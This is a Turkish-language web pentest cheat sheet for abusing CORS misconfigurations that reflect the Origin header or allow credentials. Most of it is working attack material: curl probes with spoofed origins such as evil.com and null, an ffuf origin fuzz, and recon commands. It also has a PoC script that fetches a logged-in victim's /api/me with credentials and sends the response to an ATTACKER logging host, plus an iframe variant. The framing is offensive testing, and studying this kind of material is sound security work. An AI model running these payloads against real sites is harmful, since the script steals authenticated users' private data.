CORS Bypass

web browser

CORS, tarayıcının cross-origin yanıt okumasını kontrol eder. Access-Control-Allow-Origin yansıyan Origin + Allow-Credentials: true = oturumlu API’den veri çalma.

Metodoloji

1. API yanıtlarında ACAO / ACAC header’larını ölç.

2. Evil Origin, null, subdomain ve typo varyantlarını dene.

3. Credentialed fetch PoC ile hassas JSON kanıtla.

4. XSS veya attacker sayfası ile zincirle.

Keşif

curl -skI https://TARGET/api/me -H 'Origin: https://evil.com'

curl -skI https://TARGET/api/me -H 'Origin: null'

curl -skI https://TARGET/api/me -H 'Origin: https://TARGET.evil.com'

curl -skI https://TARGET/api/me -H 'Origin: https://target.com.evil.com'

Tehlikeli yanıt

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

ACAO: *  +  ACAC: true  → tarayıcı reddeder; yine de misconfig işareti

PoC sayfası

<script>
fetch('https://TARGET/api/me', {credentials:'include'})
  .then(r => r.text())
  .then(t => fetch('https://ATTACKER/log?d='+encodeURIComponent(t)))
</script>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>fetch('https://TARGET/api/me',{credentials:'include'}).then(r=>r.text()).then(alert)</script>"></iframe>

Origin varyantları

https://evil.com
null
https://TARGET.attacker.com
https://attackerTARGET
http://TARGET (http→https trust)

ffuf -u https://TARGET/api/me -H 'Origin: FUZZ' -w origins.txt -mr 'Access-Control-Allow-Origin'

Preflight

curl -skI -X OPTIONS https://TARGET/api/me \
  -H 'Origin: https://evil.com' \
  -H 'Access-Control-Request-Method: PUT' \
  -H 'Access-Control-Request-Headers: X-Custom'

Checklist

[ ] ACAO yansıması / null
[ ] ACAC true
[ ] Credentialed fetch PoC
[ ] Hassas veri kanıtı

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html